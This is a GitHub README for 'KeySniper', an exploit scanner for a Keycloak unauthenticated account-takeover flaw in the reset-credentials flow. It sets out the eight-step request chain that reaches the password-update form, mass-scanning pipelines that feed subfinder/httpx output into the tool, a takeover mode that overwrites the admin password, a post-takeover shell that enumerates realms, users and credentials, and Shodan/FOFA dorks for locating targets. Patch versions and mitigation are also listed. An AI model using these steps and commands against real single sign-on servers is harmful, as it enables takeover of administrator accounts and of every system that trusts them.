Skip to content

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 

Repository files navigation

KeySniper

KeySniper

Author: Mitsec — x.com/ynsmroztas

CVE-2026-18963 — unauthenticated Keycloak account takeover via the reset-credentials flow.

KeySniper is a production-oriented scanner for in-scope bug bounty and authorized assessments: live radar output, realm discovery, detect vs takeover, interactive post-ATO shell, and stdin pipeline (subfinderhttpxKeySniper).

Default mode is detect (--takeover 0). --takeover 1 changes the account password on the target.


Vulnerability

Field Value
CVE CVE-2026-18963
CWE CWE-640 — Weak Password Recovery Mechanism
CVSS 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Product Keycloak / Red Hat SSO
Fixed in 26.7.2, 26.6.6, 26.4.15
Auth None

Two bugs are chained:

  1. tryAnotherWay stores a generic "true" selector note that is not scoped to the execution ID.
  2. ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID.

Result: an unauthenticated caller can force the password-reset flow for a known username and land on UPDATE_PASSWORD without clicking the email link.

Confirm signal

The scan is not “forgot-password exists”. Confirm is:

  • selector form re-renders on the original reset URL
  • execution= UUID changes (email execution leaked)
  • response contains kc-passwd-update-form
exec3 = 28e2cd30-…   (first selector)
exec6 = 8fd21174-…   (pivot GET)
         UPDATE_PASSWORD

Features

  • Live [radar] log (Location, JS, headers, realm probe)
  • Realm discovery: 302 Location + HTML/JS + well-known + wordlist
  • /auth prefix auto-detect
  • Pipeline: stdin URLs from httpx / subfinder
  • False-positive filter: Keycloak body required before realm brute
  • --takeover 0 detect only
  • --takeover 1 set password (default SelaM1337@@)
  • --shell interactive token / admin API helper after ATO
  • Color badges: VULN / ATO red, SAFE green, SKIP yellow

Install

python3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py

Python 3.9+.


Usage

# detect (no password change)
python3 KeySniper.py -u https://sso.example.com --takeover 0

# takeover + interactive shell
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell

# realm / user
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0

# pipeline
subfinder -d example.com -silent \
  | httpx -silent -mc 200,302,401 \
  | python3 KeySniper.py --takeover 0 -t 4

# list file
python3 KeySniper.py -l urls.txt --takeover 0 -q

Flags

Flag Default Meaning
-u URL Single target
-l FILE URL list
stdin auto httpx lines (first field = URL)
--takeover 0|1 0 Detect vs change password
-U USER admin Target username
-r REALM auto Force realm or discover
--pass SelaM1337@@ New password if takeover=1
-t N 4 Pipeline threads
-q off Results only
--shell off Post-ATO shell (single target)

Do not pass --takeover 1 or --shell on a pipeline dump.


Flow (8 steps)

[1] GET  /realms/{realm}/protocol/openid-connect/auth?client_id=account
         → forgot-password href (reset-credentials)
[2] GET  reset-credentials
         → kc-reset-password-form
[3] POST tryAnotherWay=on
         → kc-select-credential-form
[4] POST username=<user>
[5] GET  startSessionPolling / restart (if present)
[6] GET  original reset-credentials URL  (pivot)
         → selector re-render + new execution=
[7] POST stale selector (no action token)
         → kc-passwd-update-form
[8] POST password-new / password-confirm     (only if --takeover 1)
         → HTTP 302 + code=  ⇒ ATO

Output

[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
    confirm exec3=...
    confirm exec6=...
    confirm kc-passwd-update-form

[ATO]  https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak
Status Meaning
VULN Pivot + UPDATE_PASSWORD (password not changed)
ATO Step 8 succeeded
SAFE Reset open, no stale selector (patched)
SKIP Not Keycloak / reset disabled / leak without UPDATE form
FAIL Network / unexpected exception

leak-no-update is not counted as VULN.


Interactive shell

Opens only after [ATO] on a single target:

sniper@sso.example.com ▶ token
sniper@sso.example.com ▶ whoami
sniper@sso.example.com ▶ realms
sniper@sso.example.com ▶ users
sniper@sso.example.com ▶ user admin
sniper@sso.example.com ▶ get master
sniper@sso.example.com ▶ creds
sniper@sso.example.com ▶ exit

Uses resource-owner password grant (admin-cli, then account).
HTTP 403 on /admin/realms means Direct Access Grants / admin role is limited — ATO can still be valid.


Discovery

  1. Probe /realms/master then /auth/realms/master
  2. Harvest realms from Location, HTML, JS, "realm":, issuer
  3. Wordlist (~70 names) only after Keycloak fingerprint
  4. Keep realms where /realms/{name} returns 200 + Keycloak body

Fingerprints / recon

/realms/master
/realms/master/.well-known/openid-configuration
/admin/

Shodan / FOFA (program scope):

http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"

False positives

  • Any 200 on / is ignored unless the body has issuer / public_key / login-actions
  • Forgot-password missing → SKIP (realm has reset disabled)
  • Selector leak without kc-passwd-update-formSKIP
  • httpx paths are stripped to origin (/auth kept)

Affected versions

Keycloak < 26.7.2 (also 26.6.x < 26.6.6, 26.4.x < 26.4.15).
Mitigation: disable Forgot Password on every realm, then upgrade.

Screenshot in this repo is redacted (sso.lab.local placeholder). Tokens, passwords, emails, and real hosts are not published.


Author

Mitsec
X: x.com/ynsmroztas


License

Research use on in-scope authorized targets. Keep --takeover 1 off unscoped hosts.

About

**CVE-2026-18963** — unauthenticated Keycloak account takeover via the reset-credentials flow.

Resources

Stars

113 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages